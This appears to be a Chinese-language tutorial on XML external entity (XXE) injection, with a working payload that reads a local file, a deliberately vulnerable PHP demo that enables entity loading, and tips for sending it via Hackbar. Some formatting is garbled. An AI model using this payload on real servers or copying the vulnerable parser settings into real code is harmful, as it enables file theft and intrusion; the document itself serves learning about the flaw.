XXE漏洞简介

XXE全称:XML external entity injection,即XML外部实体注入漏洞。

漏洞成因:解析时未对XML外部实体加以限制,导致攻击者将恶意代码注入到XML中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作。

About XML

  • XML 指可扩展标记语言(EXtensible Markup Language)。
  • XML用于传输数据

XML长这样:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>  
<library>
<book genre="fantasy">
<title>The Lord of the Rings</title>
<author>J.R.R. Tolkien</author>
</book>
<book genre="science fiction">
<title>Dune</title>
<author>Frank Herbert</author>
</book>
</library>

DTD实体

由于我们学习的是漏洞方面,以下内容忽略内部实体。

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用

典型恶意实体(读取本地文件):

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///D://1.txt">]>
<root>&file;</root>

结构分析:

  • <?xml version="1.0" encoding="utf-8"?>:XML 声明,指定 XML 版本和字符编码。

  • <!DOCTYPE root [ ... ]>
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29

    :DTD (Document Type Definition) 声明,定义了 XML 文档的结构。

    - `<!ENTITY file SYSTEM "file:///D://1.txt">`:定义了一个名为 `file` 的外部实体。`SYSTEM` 关键字表明这个实体的内容将从 URI `file:///D://1.txt` 加载,也就是尝试读取本地文件 `D://1.txt`。

    - `<root>&file;</root>`:XML 文档的根元素。它包含对之前定义的 `file` 实体的引用。



    ## 漏洞Demo

    为了方便,直接用PHP代码进行演示:

    有回显版:

    ```php
    <?php
    libxml_disable_entity_loader (false);
    //开启了实体加载

    $xmlfile = file_get_contents('php://input');
    //获取POST原始数据

    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    echo $creds;
    //回显
    ?>

Payload:

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///D://1.txt">]>
<root>&file;</root>

注意,如果用Hackbar提交POST的话,要开启(raw)模式:

image-20250310175724468

image-20250310175737607

成功读取了D盘下的txt文件。

漏洞利用